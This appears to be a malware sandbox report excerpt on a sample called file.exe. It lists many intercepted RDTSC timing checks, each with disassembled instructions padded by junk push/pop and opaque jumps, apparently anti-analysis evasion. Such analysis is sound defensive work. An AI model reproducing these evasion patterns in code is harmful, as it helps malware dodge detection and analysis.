Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66847 second address: D66866 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1674F90E16h 0x00000008 jmp 00007F1674F90E25h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66866 second address: D6686E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69578 second address: D695B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1674F90E1Eh 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F1674F90E1Bh 0x00000014 jnl 00007F1674F90E16h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1674F90E1Fh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D695B3 second address: D695B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E299 second address: D6E2AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1674F90E16h 0x0000000a jl 00007F1674F90E16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E2AB second address: D6E2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72120 second address: D72136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1674F90E1Bh 0x00000009 jc 00007F1674F90E16h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72136 second address: D7213D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7213D second address: D7216C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1674F90E28h 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jnp 00007F1674F90E24h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7216C second address: D72170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71515 second address: D71519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71519 second address: D71537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1675279DB8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71537 second address: D7154D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F1674F90E16h 0x00000009 jmp 00007F1674F90E1Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7154D second address: D71555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71555 second address: D7155B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71828 second address: D7183B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jc 00007F1675279DA6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76A3B second address: D76A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76A41 second address: D76A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76A45 second address: D76A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e ja 00007F1674F90E23h 0x00000014 jmp 00007F1674F90E1Dh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76BD4 second address: D76BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76BD9 second address: D76BF2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F1674F90E1Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76D49 second address: D76D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F1675279DA6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F1675279DA6h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76D5F second address: D76D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76D63 second address: D76D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F1675279DACh 0x00000012 jo 00007F1675279DA6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76D7B second address: D76D80 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76D80 second address: D76D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1675279DA6h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c ja 00007F1675279DA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26DC5 second address: D26E4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F1674F90E18h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 adc edx, 27F37600h 0x0000002c mov edx, dword ptr [ebp+122D3200h] 0x00000032 mov edi, 4AE75881h 0x00000037 mov ebx, dword ptr [ebp+12487FDFh] 0x0000003d mov dl, ah 0x0000003f add eax, ebx 0x00000041 push esi 0x00000042 cld 0x00000043 pop ecx 0x00000044 movsx ecx, si 0x00000047 nop 0x00000048 jne 00007F1674F90E2Eh 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jnl 00007F1674F90E25h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26E4F second address: D26ECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F1675279DA6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F1675279DA8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 clc 0x0000002a push 00000004h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F1675279DA8h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 call 00007F1675279DAEh 0x0000004b pop edx 0x0000004c mov cx, di 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F1675279DB7h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26ECE second address: D26ED9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F1674F90E16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77A4E second address: D77A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1675279DAAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D35D second address: D7D36D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F1674F90E16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D36D second address: D7D371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D371 second address: D7D38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1674F90E26h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D92A second address: D7D934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1675279DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D934 second address: D7D93F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DEF5 second address: D7DEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DEFD second address: D7DF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DF03 second address: D7DF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DF0A second address: D7DF11 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DF11 second address: D7DF22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jbe 00007F1675279DA6h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E575 second address: D7E57C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E57C second address: D7E59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F1675279DA6h 0x0000000d jmp 00007F1675279DB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E59F second address: D7E5A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84CA6 second address: D84CB6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 jng 00007F1675279DA6h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84CB6 second address: D84CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84CBC second address: D84CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84CC2 second address: D84CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84CC6 second address: D84CE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1675279DB4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8444 second address: CD844C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD844C second address: CD8454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87E8B second address: D87E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1674F90E16h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87E96 second address: D87E9B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87E9B second address: D87EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1674F90E16h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88007 second address: D8800D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88152 second address: D88156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88156 second address: D8815A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8815A second address: D8816D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1674F90E1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8816D second address: D88173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88173 second address: D88177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D882CB second address: D882CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D882CF second address: D882F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1674F90E25h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F1674F90E16h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8849F second address: D884C3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1675279DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F1675279DB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D884C3 second address: D884C9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88623 second address: D8862E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F1675279DA6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8862E second address: D88633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88633 second address: D88639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88639 second address: D8863F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8863F second address: D8864B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8864B second address: D88664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F1674F90E16h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push edi 0x00000010 jno 00007F1674F90E16h 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88664 second address: D88674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1675279DACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9199D second address: D919A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D919A3 second address: D919A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D919A9 second address: D919B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9204D second address: D9207E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1675279DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1675279DB2h 0x00000010 pop eax 0x00000011 jno 00007F1675279DA8h 0x00000017 popad 0x00000018 jp 00007F1675279DC8h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9207E second address: D92082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92082 second address: D9208C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9208C second address: D92090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92090 second address: D92094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D921B2 second address: D921B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D921B8 second address: D921D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1675279DB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D925E5 second address: D925F7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1674F90E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D925F7 second address: D9262E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1675279DAEh 0x00000007 jo 00007F1675279DA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007F1675279DADh 0x0000001c popad 0x0000001d pushad 0x0000001e jbe 00007F1675279DA6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9262E second address: D92645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1674F90E1Ch 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92645 second address: D9264B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9264B second address: D9265A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F1674F90E16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92E82 second address: D92ECC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1675279DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F1675279DB1h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edi 0x00000016 pushad 0x00000017 pushad 0x00000018 jo 00007F1675279DA6h 0x0000001e jmp 00007F1675279DB1h 0x00000023 jmp 00007F1675279DADh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D914CC second address: D914D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D914D0 second address: D914D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D914D6 second address: D914DB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96CBC second address: D96CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DC37 second address: D9DC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DC3B second address: D9DC3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DC3F second address: D9DC72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1674F90E23h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1674F90E22h 0x00000012 jg 00007F1674F90E16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DC72 second address: D9DC7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DC7D second address: D9DC8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1674F90E16h 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8245 second address: DA8263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1675279DB4h 0x00000009 jne 00007F1675279DA6h 0x0000000f rdtsc
